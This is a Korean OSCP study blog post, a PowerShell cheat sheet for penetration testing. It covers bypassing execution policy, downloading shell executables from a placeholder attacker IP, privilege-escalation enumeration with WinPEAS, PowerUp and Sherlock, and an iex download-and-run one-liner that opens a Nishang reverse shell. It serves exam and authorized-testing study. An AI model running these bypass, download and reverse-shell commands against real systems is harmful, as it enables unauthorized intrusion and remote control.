OSCP/시험대비

파워 쉘 for 침투테스트-1

우와해커 2020. 4. 16. 16:17

실행정책 체크

가장 먼저해야 될 일은 파워 쉘 스크립트 파일(.ps1)을 실행 가능한지 체크하는 것이다.

cmd> powershell Get-ExecutionPolicy 


보안상의 이유로 스크립트 실행에 대한 기본 정책은 Restricted입니다. 다른 스크립트 정책은 다음과 같습니다.

Restricted: 파워쉘은 어떤 스크립트든 실행할 수 없다. (파워쉘의 디폴트 실행 정책)

Bypass: 어떤 것도 차단되지 않으며 경고나 프롬프트가 없습니다.

AllSigned: PowerShell: 디지털 서명으로 서명 된 스크립트 만 실행합니다. 게시자가 서명 한 스크립트를 실행하면 PowerShell은 이전에 보지 못했지만 PowerShell은 스크립트의 게시자를 신뢰할지 묻습니다.
RemoteSigned: PowerShell은 디지털 서명이 없으면 인터넷에서 다운로드 한 스크립트를 실행하지 않지만 인터넷에서 다운로드하지 않은 스크립트는 확인없이 실행됩니다. 스크립트에 디지털 서명이있는 경우 PowerShell은 이전에 보지 못한 게시자로부터 스크립트를 실행하기 전에 메시지를 표시합니다.
Unrestricted: PowerShell은 디지털 서명을 무시하지만 인터넷에서 다운로드 한 스크립트를 실행하기 전에 계속 묻습니다.

admin 같은 높은 권한의 사용자라면 설정을 바꿀 수 있다.

set-ExecutionPolicy unrestricted

 

실행정책 Bypass 옵션, No Interactive 옵션 (gatekeeper 테스트해보기)

C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1

 

파라미터 설명

-NoProfile: Windows PowerShell 프로필을 로드하지 않습니다.
예약된 작업 또는 바로 가기를 통해 스크립트를 실행하면 PowerShell은 먼저 프로필을 로드한 다음 스크립트를 실행합니다.
이러한 프로파일이 무엇인지 알 수 없으므로 위험 할 수 있으며 예기치 않은 동작이 발생할 수 있습니다.

-NonInteractive: 사용자에게 대화식 프롬프트를 표시하지 않습니다.

-Nologo: 저작권 배너 표시안함

-ExecutionPoilicy 
현재 세션의 기본 실행 정책을 설정하고 $ env : PSExecutionPolicyPreference 환경 변수에 저장합니다. 이 매개 변수는 레지스트리에 설정된 PowerShell 실행 정책을 변경하지 않습니다. 유효한 값 목록을 포함하여 PowerShell 실행 정책에 대한 정보

-Command
PowerShell 명령 프롬프트에서 입력 한 것처럼 지정된 명령 (매개 변수 포함)을 실행합니다. 실행 후 NoExit 매개 변수를 지정하지 않으면 PowerShell이 종료됩니다. -Command 뒤의 모든 텍스트는 단일 명령 줄로 PowerShell에 전송됩니다. 
이것은 -File이 스크립트로 전송된 매개 변수를 처리하는 방법과 다릅니다.

Command 값은 "-", 문자열 또는 스크립트 블록 일 수 있습니다. 명령 결과는 실제 개체가 아닌 역직렬화 된 XML 개체로 부모 셸에 반환됩니다.
Command 값이 "-"이면 표준 입력에서 명령 텍스트를 읽습니다. 표준 입력과 함께 Command 매개 변수를 사용할 때 표준 입력을 재지 정해야합니다. 예를 들면 다음과 같습니다.

cmd.exe에는 스크립트 블록 (또는 ScriptBlock 형식)과 같은 것이 없으므로 Command에 전달 된 값은 항상 문자열입니다. 문자열 안에 스크립트 블록을 작성할 수 있지만 실행하는 대신 일반 PowerShell 프롬프트에서 입력 한 것처럼 정확하게 동작하여 스크립트 블록의 내용을 다시 인쇄합니다.
Command에 전달 된 문자열은 여전히 PowerShell로 실행되므로 cmd.exe에서 실행할 때 스크립트 블록 중괄호가 처음에는 필요하지 않은 경우가 많습니다. 문자열 내에 정의 된 인라인 스크립트 블록을 실행하려면 호출 연산자 &를 사용할 수 있습니다.

Example
"& {<command>}"

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1

 

 

파일 검색
PS> dir C:\ -r -i "찾는글자"

 

프로그램 실행
PS> Start-Process "shell-name.exe"

 

파일 다운로드

Any Powershell
powershell (New-Object System.Net.WebClient).Downloadfile('http://[your_ip]:[listening_port]/[shell_name.exe]')

Only 4.0 5.0 version
powershell Invoke-WebRequest -Uri http://10.8.0.212/shell.exe -Outfile shell.exe

 

WinPEAS

WinPeas is a great tool which will enumerate the system and attempt to recommend potential vulnerabilities that we can exploit. The part we are most interested in for this room is the running processes!

 

 

WinPEAS의 bat과 exe 파일타입
exe는 컬러로 나와서 보기 편함, OS별 난독화 지원, 단점으로 일부 기능에서 에러가 발생
bat는 범용적으로 실행 가능하며 exe와 다른 많은 정보를 보여줌

(각기 다른 정보를 Enumeration하므로 둘다 사용하는게 좋다.)

 

 

PowerUp.ps1 스크립트 실행방법

-우선 방화벽 우회하여 파워쉘 프롬프트 진입이 필요함

To load up PowerUp, first download the raw script to a local location, and then launch Powershell:

C:> powershell.exe -nop -exec bypass
PS C:\> Import-Module ./PowerUp.ps1
PS C:\> Invoke-AllChecks
cmd> powershell -ep bypass
PS C:\> . .\powerup.ps1
PS C:\> Invoke-AllChecks

 

CMD 프롬프트에서 파워 쉘 들어가면 멈춤 현상 

1. 맨위에 언급한 내용처럼 실행정책을 먼저 확인한다.

2. 만들어진 넷켓 리버스 쉘과 파워쉘 상태가 Fully-interative 상태가 아니기 때문이다.

netcat 쉘이 완전히 대화식이 아니기 때문에 반응이 없을 수 있다. 몇 가지 해결 방법.


2.1. Check out Nishang's Invoke-PowershellTcp.ps1.
Much better than a cmd nc shell.

Your shell isn't fully interactive. Windows usually doesn't have python on it so the python trick won't work.
Your best bet is to send yourself a second shell (which the first thing I always do is send myself a second shell in case the first one dies). Either upload a binary of windows/powershell_reverse_tcp or use something like Nishang.
This week I'm going to try this script which says it will make a fully interactive PowerShell shell: https://github.com/antonioCoco/ConPtyShell

 

 

Nishang (Fully Interactive Shell)

- Netcat 연결 후 두번째 넷켓 쉘 하나 더 생성

스크립트다운로드 후 해당 스크립트 함수 바로 실행 시키기

cmd> powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port

* IEX(인터렉티브 옵션) 쓰는 이유: 다운로드 받은 스크립트를 파워 쉘 상태로 바로 실행할 수 있음

 

 

 

powershell.exe -c 라인으로 실행

콘솔로 출력 (out-host cmdlet 사용)

powershell -c "get-command | out-host -paging"

콘솔 결과 저장 (out-file cmdlet 사용)

powershell -c "Get-Process | Out-File -FilePath C:\temp\processlist.txt"

* 파워쉘에서 싱글쿼터는 에러를 발생시킬 수 있음

https://docs.microsoft.com/ko-kr/powershell/scripting/samples/redirecting-data-with-out---cmdlets?view=powershell-7

 

 

1. 원하는 함수 명령 찾은 후

cat [스크립트.ps1] | grep -i function

2. 스크립트 맨 뒤에 함수명 입력하여 저장
3. 스크립트 실행

powershell -c "./파일명.ps1"

또는

powershell -c "Import-module ./스크립트.ps1;함수명"

 

Sherlock

- 로컬 권항상승 익스플로잇 검색해주는 파워 쉘,

- 파워쉘은 디폴트 정책으로 외부 스크립트 실행이 금지되어 있으므로 파워쉘 진입시 옵션을 같이 줘야한다.

 

powershell -nop -exec bypass -c "Import-module ./Sherlock.ps1;Find-AllVulns;"

약어

-ExecutionPolicy: -exec, -ep, 

-NoProfile: -nop

-command: -c

'OSCP > 시험대비' 카테고리의 다른 글

[OSCP EXAM GUIDE] SECTION 1: EXAM REQUIREMENTS  (0) 2020.06.29
명령어 정리2  (0) 2020.06.12
버퍼오버플로우  (0) 2020.05.04
명령어 정리 1  (0) 2020.03.24
PENETRATION TESTING WITH KALI LINUX REPORTING  (0) 2020.02.16